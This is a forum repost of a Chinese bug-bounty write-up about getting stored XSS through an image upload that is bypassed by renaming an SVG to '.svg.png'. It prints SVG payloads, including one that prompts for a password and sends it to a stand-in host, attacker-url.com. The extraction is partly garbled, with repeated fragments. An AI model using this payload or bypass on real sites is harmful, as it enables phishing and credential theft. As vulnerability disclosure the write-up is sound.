搜索

[16428] 2021-02-11_安全研究利用图片上传功能实现存储型XSS

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2021-02-11_安全研究利用图片上传功能实现存储型XSS 安 全 研 究   |   利 用 图 片 上 传 功 能 实 现 存 储 型 X S S c l o u d s   F r e e B u f   2 0 2 1 - 0 2 - 1 1 在 本 文 中 ， 作 者 利 用 文 件 上 传 机 制 ， 构 造 形 成 存 储 型 在 本 文 中 ， 作 者 利 用 文 件 上 传 机 制 ， 构 造 形 成 存 储 型 X S S （ （ S t o r e d   X S S ） 漏 洞 实 现 密 码 凭 据 信 息 窃 取 ， 最 终 获 得 了 ） 漏 洞 实 现 密 码 凭 据 信 息 窃 取 ， 最 终 获 得 了 $ 1 0 0 0 的 奖 励 。 以 下 是 作 者 的 发 现 过 程 。 的 奖 励 。 以 下 是 作 者 的 发 现 过 程 。 漏 洞 发 现 漏 洞 发 现 1 、 登 录 进 入 目 标 W E B 应 用 ; 2 、 手 工 枚 举 测 试 ； 3 、 观 察 W E B 应 用 样 式 ： 4 、 从 中 可 以 看 到 多 个 文 本 输 入 区 域 ， 我 尝 试 了 诸 如 s q l i 、 x s s 、 s s t i 等 漏 洞 ， 都 没 问 题 。 但 之 后 的 L o g o ,   B a c k g r o u n d   I m a g e   和   A d v e r t i s e m e n t   I m a g e 图 片 上 传 点 引 起 了 我 的 注 意 ， 于 是 我 决 定 构 造 一 些 特 殊 文 件 进 行 上 传 ， 看 看 有 什 么 反 应 。 我 随 即 构 造 了 s v g 格 式 文 件 进 行 了 上 传 ： 5 、   但 上 传 后 服 务 端 却 返 回 了 以 下 错 误 响 应 ：
6 、 那 能 否 绕 过 格 式 限 制 呢 ？ 于 是 ， 我 在 文 件 名 上 做 了 手 脚 ， 把 “ F i l e u p l o a d . s v g ” 更 改 成 “ F i l e u p l o a d . s v g . p n g ” 再 上 传 ， 竟 然 成 功 了 ： 7 、 之 后 ， 我 点 击 上 个 界 面 中 的 “ N e x t ” ， 跳 转 到 了 另 一 个 页 面 ， 在 该 页 面 中 我 可 以 访 问 到 刚 刚 上 传 的 图 片 ， 而 且 这 些 图 片 都 是 缩 略 图 方 式 ： 8 、 如 上 点 击 右 键 的 “ V i e w   I m a g e ” 后 ， 跳 出 了 期 待 的 s v g   x s s ： 我 构 造 的 s v g 文 件 如 下 ， 其 中 包 含 了 X S S   P a y l o a d ： 改 造 一 下 ， 可 在 其 中 加 入 账 号 密 码 窃 取 P a y l o a d ， 最 终 如 下 ： < ? x m l   v e r s i o n = ” 1 . 0 "   s t a n d a l o n e = ” n o ” ? > < ! D O C T Y P E   s v g   P U B L I C   “ - / / W 3 C / / D T D   S V G   1 . 1 / / E N ”   “ h t t p : / / w w w . w 3 . o r g / G r a p h i c s / S V G / 1 . 1 / D T D / s v g 1 1 . d t d " > < s v g   v e r s i o n = ” 1 . 1 "   b a s e P r o f i l e = ” f u l l ”   x m l n s = ” h t t p : / / w w w . w 3 . o r g / 2 0 0 0 / s v g " > < p o l y g o n   i d = ” t r i a n g l e ”   p o i n t s = ” 0 , 0   0 , 5 0   5 0 , 0 "   f i l l = ” # 0 0 9 9 0 1 "   s t r o k e = ” # 0 0 4 4 0 0 " / > < s c r i p t   t y p e = ” t e x t / j a v a s c r i p t ” > a l e r t ( d o c u m e n t . c o o k i e ) ; < / s c r i p t > < / s v g > < ? x m l   v e r s i o n = " 1 . 0 "   s t a n d a l o n e = " n o " ? > < ! D O C T Y P E   s v g   P U B L I C   " - / / W 3 C / / D T D   S V G   1 . 1 / / E N "   " h t t p : / / w w w . w 3 . o r g / G r a p h i c s / S V G / 1 . 1 / D T D / s v g 1 1 . d t d " > < s v g   v e r s i o n = " 1 . 1 "   b a s e P r o f i l e = " f u l l "   x m l n s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 0 / s v g " > < p o l y g o n   i d = " t r i a n g l e "   p o i n t s = " 0 , 0   0 , 5 0   5 0 , 0 "   f i l l = " # 0 0 9 9 0 0 "   s t r o k e = " # 0 0 4 4 0 0 " / >                 < s c r i p t >                                   v a r   p a s s w d   =   p r o m p t ( " E n t e r   y o u r   p a s s w o r d   t o   c o n t i n u e " ) ;                                 v a r   x h r   =   n e w   X M L H t t p R e q u e s t ( ) ;                                 x h r . o p e n ( " G E T " , " h t t p s : / / a t t a c k e r - u r l . c o m / l o g . p h p ? p a s s w o r d = " + e n c o d e U R I ( p a s s w d ) ) ;
9 、 再 次 把 这 些 S V G 文 件 上 传 ： 1 0 、 点 击 右 键 “ V i e w   I m a g e ” 访 问 上 述 s v g 文 件 ： 1 1 、 跳 出 密 码 输 入 的 X S S   P a y l o a d 提 示 框 ， 点 击 输 入 密 码 后 ， 可 见 密 码 被 窃 取 ： 漏 洞 奖 励 漏 洞 奖 励 漏 洞 最 终 获 得 了 $ 1 0 0 0 的 奖 励 。                                 x h r . o p e n ( " G E T " , " h t t p s : / / a t t a c k e r - u r l . c o m / l o g . p h p ? p a s s w o r d = " + e n c o d e U R I ( p a s s w d ) ) ;                                 x h r . s e n d ( ) ; < / s c r i p t > < / s v g >
精 彩 推 荐 精 彩 推 荐 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理